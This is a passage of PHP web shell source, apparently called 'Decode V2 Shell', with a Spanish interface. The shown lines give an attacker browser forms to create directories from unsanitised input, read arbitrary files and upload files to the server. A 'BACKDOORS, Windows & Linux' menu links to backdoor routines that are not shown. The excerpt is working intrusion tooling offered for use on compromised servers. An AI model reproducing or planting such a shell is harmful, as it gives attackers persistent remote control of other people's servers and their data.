  1163. ?>
  1164. <fieldset class="fieldset">
  1165. <legend> Mr_Dir [crear Directorio] </legend>
  1166. <h1><font face="Courier" size="6">Mkdir :</FONT></h1>
  1167. <FORM METHOD="POST" NAME="make" ACTION="?">
  1168. <INPUT TYPE="text" class="text" NAME="dirs" size="30" >
  1169. <INPUT TYPE="submit" class="button" VALUE="Enviar">
  1170. </FORM>
  1171. </fieldset>
  1172. </legend>
  1174. <?php
  1176. $directorio= $_POST['dirs'];
  1177. mkdir($directorio);
  1179. ?>
  1180. <fieldset class="fieldset">
  1181. <H1><font face="Courier" size="6">READ FILE</font>
  1182. <form method="GET" NAME="file" action"?">
  1183. <INPUT type="text" name="file" class="input" size="30">
  1184. <input type="submit" class="button" name="enviar">
  1185. </form>
  1186. </fieldset>
  1188. <fieldset class="fieldset">
  1191. <?php
  1192. print "</table><hr><table border=0 width=100%><td><b><h2><font color=\"withe\">Upload file</b><br><form enctype=\"multipart/form-data\" action=\"".$me."?ok&upload=".realpath('.')."\" method=\"POST\">
  1193. <input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" /><input size=30 name=\"uploadedfile\" type=\"file\" />
  1194. <input type=\"submit\" class=\"button\"value=\"Upload File\" />";
  1197. ?>
  1198. </fieldset>
  1200. <fieldset>
  1201. <legend> BACKDOORS , Windows & Linux</legend>
  1202. <br>
  1203. <a href="?backdoor1">Windows</a>
  1204. <br>
  1205. <a href="?backdoor">Linux</a>
  1206. <br>
  1207. <a href="?backs">GENERAL</a>
  1208. </fieldset>

Decode V2 Shell Php , Jummping Server